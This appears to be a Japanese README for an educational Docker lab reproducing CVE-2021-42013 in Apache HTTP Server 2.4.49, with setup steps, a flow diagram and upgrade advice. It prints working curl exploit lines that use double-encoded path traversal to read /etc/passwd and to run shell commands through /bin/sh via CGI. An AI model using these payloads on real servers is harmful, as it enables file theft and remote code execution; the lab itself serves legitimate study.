
Docker環境でのApache HTTP Server 2.4.49(CVE-2021-42013)の脆弱性を示すラボ演習。
このプロジェクトでは、Apache HTTP Server 2.4.49 に存在する CVE-2021-42013 の脆弱性を、Docker を使って構築したラボ環境で実演しました。
目的は、脆弱性がどのように発生し、どのように動作し、システムにどのような影響を与えるかを、管理された環境で調査することです。
この作業は教育およびラボ目的のみで作成されています。
.
├── Dockerfile
├── index.html
└── README.md
プロジェクトを実行する前に、以下のものがインストールされている必要があります。
まず、リポジトリをコンピュータにダウンロードします。
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
フォルダに移動します。
cd apache-cve-2021-42013-lab
Docker イメージを作成します。
docker build -t apache-2.4.49-src .
コンテナを起動します。
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
コンテナの中に入ります。
docker exec -it apache-src /bin/bash
Apache のバージョンを確認します。
/usr/local/apache2/bin/httpd -v
コンテナから出るには:
exit
CGI モジュールが有効かどうかは、以下のコマンドで確認できます。
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
その後、Apache を再起動します。
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
CGI モジュールを無効にするには:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
その後、再度再起動します。
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
より詳しいシステム情報を表示するには:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
インストール完了後:
İstemci (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
URL Normalization Hatası
│
▼
Path Traversal
│
├──────────────► CGI Kapalı
│ │
│ ▼
│ Dosya erişimi mümkün olabilir
│
▼
CGI Aktif
│
▼
/bin/sh çalıştırılabilir
│
▼
Remote Code Execution (RCE)
RCE シナリオを実演するには、mod_cgi モジュールを有効にする必要があります。
この脆弱性を解消するには、Apache HTTP Server を 2.4.51 以降の新しいバージョンにアップグレードすることをお勧めします。また、CGI を使用していない場合は無効にし、必要なディレクトリにのみ適切なアクセス権限を定義することを推奨します。